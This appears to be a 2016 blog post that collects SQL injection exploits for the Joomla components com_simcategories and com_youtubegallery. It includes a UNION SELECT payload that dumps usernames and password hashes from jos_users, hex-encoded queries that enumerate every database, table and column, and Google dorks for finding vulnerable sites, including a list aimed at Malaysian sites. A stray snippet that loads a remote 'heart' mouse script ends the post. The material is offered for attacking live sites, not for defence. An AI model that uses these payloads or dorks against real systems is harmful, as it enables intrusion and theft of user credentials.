Wednesday, July 6, 2016

Joomla Com_simcategories SQL Injection Vulnerability

#######################################################################
# Exploit Title: Joomla Com_simcategories SQL Injection Vulnerability
# Author: GhostVN
# Date :30/06/2013
# Google dork: inurl:index.php?option=com_simcategories
#######################################################################
# Exploitation: index.php?option=com_simcategories&view=simprovider&id=1[SQLI]
# SQL Exploit : index.php?option=com_simcategories&view=simprovider&id=-1' UNION SELECT 1,group_concat(username,0x7c,password),3,4,5,6,7 from jos_users-- -

SQL Injection bypass show all database

SQL Injection bypass show all (database,table_name,columns)
(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.schemata)where (0x00) in (@x:=concat(@x,0x3c62723e,schema_name))))x)

Query get all table + column
concat(0x3c666f6e7420636f6c6f723d7265642073697a653d353e436865636b6564206279204e42543c2f666f6e743e,0x3c62723e3c666f6e7420636f6c6f723d677265656e2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=concat(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))

Joomla component com_youtubegallery - SQL Injection

Exploit Title: Joomla component com_youtubegallery - SQL Injection
vulnerability
# Google Dork: inurl:index.php?option=com_youtubegallery
# Site POF: http://server/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1'&videoid=ETMVUuFbToQ&tmpl=component&TB_iframe=true&height=500&width=700

Dork SQL-injection For Malaysia:

Dork SQL-injection For Malaysia:
inurl:detail.php?ID= site:my
inurl:preview.php?id= site:my
inurl:pages.php?id= site:my
inurl:download.php?id=
site:my
inurl:read.php?id= site:my
inurl:news.php?id= site:my
inurl:newsDetail.php?id=
site:my
inurl:Pageid= site:my
inurl:show.php?id= site:my
inurl:gallery.php?id= site:my
inurl:product.php?id= site:my
inurl:viewphoto.php?id=
site:my
inurl:material.php?id=
site:my
newsDetail.php?id= site:my
pages.php?id= site:my
view.php?id= site:my
theme.php?id= site:my
channel_id= site:my
newscat.php?id= site:my
main.php?id= site:my

code trai tim mouse

trai tim mouse:<script language="javascript" type="text/javascript"src="http://htmlfreecodes.com/userdata/heart.js"></script>